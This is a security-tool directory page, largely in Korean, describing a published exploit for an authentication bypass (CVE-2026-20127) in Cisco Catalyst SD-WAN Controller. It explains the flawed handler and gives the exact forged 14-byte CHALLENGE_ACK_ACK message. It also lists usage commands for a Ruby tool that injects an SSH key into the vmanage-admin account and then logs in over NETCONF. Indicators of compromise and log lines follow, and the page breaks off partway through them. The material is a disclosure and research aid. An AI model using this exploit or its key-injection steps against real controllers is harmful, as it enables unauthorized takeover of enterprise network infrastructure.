Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/sfewer-r7/cve-2026-20127
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthenticationRed Teaming
GitHubsfewer-r7/cve-2026-20127

CVE-2026-20127

Cisco Catalyst SD-WAN Controller 인증 우회(CVE-2026-20127)를 위한 익스플로잇으로, DTLS CHALLENGE_ACK_ACK 메시지를 위조하여 무단 액세스를 획득하고 SSH 키를 주입합니다.

저장소 보기
243257개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-20127

개요

Cisco Catalyst SD-WAN Controller 인증 우회 취약점 CVE-2026-20127에 대한 익스플로잇입니다.

이 익스플로잇은 vbond_proc_challenge_ack_ack() 핸들러를 대상으로 합니다. 공격자가 제어하는 verify_status=1 바이트가 포함된 위조된 CHALLENGE_ACK_ACK 메시지(msg_type=10)를 전송하여 서버가 피어 항목에 대해 authenticated=1을 설정하도록 직접 강제합니다.

작동 방식

일반적인 DTLS 제어 플레인 핸드셰이크에서:

  1. 클라이언트가 인증서와 함께 DTLS로 연결
  2. 서버가 CHALLENGE(msg_type=8) 전송
  3. 클라이언트가 인증서 데이터가 포함된 CHALLENGE_ACK(msg_type=9)로 응답
  4. 서버가 인증서를 검증하고 verify_status=1과 함께 CHALLENGE_ACK_ACK(msg_type=10) 전송

이 익스플로잇은 흐름을 단락시킵니다:

  1. 클라이언트가 자체 서명된 인증서와 함께 DTLS로 연결
  2. 서버가 CHALLENGE 전송
  3. 클라이언트가 verify_status=1과 함께 CHALLENGE_ACK_ACK(msg_type=10)를 직접 전송
  4. 서버의 vbond_proc_challenge_ack_ack()가 메시지 본문에서 verify_status를 읽음 — 이 값은 공격자가 제어함
  5. verify_status != 0이므로 서버는 authenticated=1을 설정 (*(BYTE*)(a2+70) = 1)

vbond_proc_msg()의 인증 게이트는 msg_type=10을 인증 검사에서 제외하므로, 피어가 아직 인증되지 않았더라도 이 공격이 작동합니다.

Cisco Catalyst SD-WAN Controller(일명 vSmart) 버전 20.15.3에서 성공적으로 작동하는 것을 확인했습니다.

패치된 Cisco Catalyst SD-WAN Controller(일명 vSmart) 버전 20.12.6.1에서는 실패하는 것을 확인했습니다.

사용법

Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

예시

# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

다음 스크린샷은 성공적인 익스플로잇과 이후 NETCONF 서비스에 대한 SSH 접근을 보여줍니다:

CVE-2026-20127 Example

기술적 세부 사항

취약한 함수: vbond_proc_challenge_ack_ack()

vdaemon(20.12.5)의 주소 0x38AB7에 위치합니다. 이 함수는 수신된 CHALLENGE_ACK_ACK 메시지를 처리하며 다음과 같은 주요 검사를 수행합니다:

  1. 중복 검사 (a2+112): 이 피어에 대해 CHALLENGE_ACK_ACK가 이미 처리된 경우 거부합니다. 첫 번째 통과 시 이 카운터는 0 → 통과.
  2. vBond 거부 (a1+8 == 4): 로컬 장치가 vBond인 경우 20을 반환합니다. 우리는 vSmart(type=3)를 대상으로 함 → 통과.
  3. 타이머 생성: hello-timer 및 expiry-timer를 생성합니다. 실패할 가능성이 낮음 → 통과.
  4. verify_status (a3+32): 메시지 본문의 첫 번째 바이트를 읽습니다. 0이면 → 거부 경로(피어 삭제). 0이 아니면 → *(BYTE*)(a2+70) = 1(인증됨) 설정.

핵심 결함: verify_status는 서버 측 검증 없이 공격자가 제어하는 메시지 본문에서 직접 가져옵니다. 이 함수는 검증 상태에 대한 피어의 주장을 신뢰합니다.

인증 게이트 면제

vbond_proc_msg()에서 인증되지 않은 피어가 대부분의 메시지 유형을 보내는 것을 차단하는 인증 게이트는 명시적으로 msg_type=10(CHALLENGE_ACK_ACK)을 면제합니다. 이는 정상적인 프로토콜 흐름(서버가 인증 완료 전에 클라이언트에게 ACK_ACK를 전송)에 필요하지만, 공격자가 서버에 위조된 ACK_ACK를 보낼 수도 있게 합니다.

와이어 형식

익스플로잇은 14바이트 메시지를 전송합니다:

Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

침해 지표(IOC)

이 예시에서 대상은 Cisco Catalyst SD-WAN Controller(일명 vSmart) 버전 20.15.3이었습니다. 대상의 IP 주소는 192.168.86.166이었고 공격자의 IP 주소는 192.168.86.35였습니다.

로그 파일 /var/log/vsyslog에 다음 메시지가 기록되었습니다:

Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

로그 파일 /var/log/vdebug에 다음 메시지가 기록되었습니다:

도구 다운로드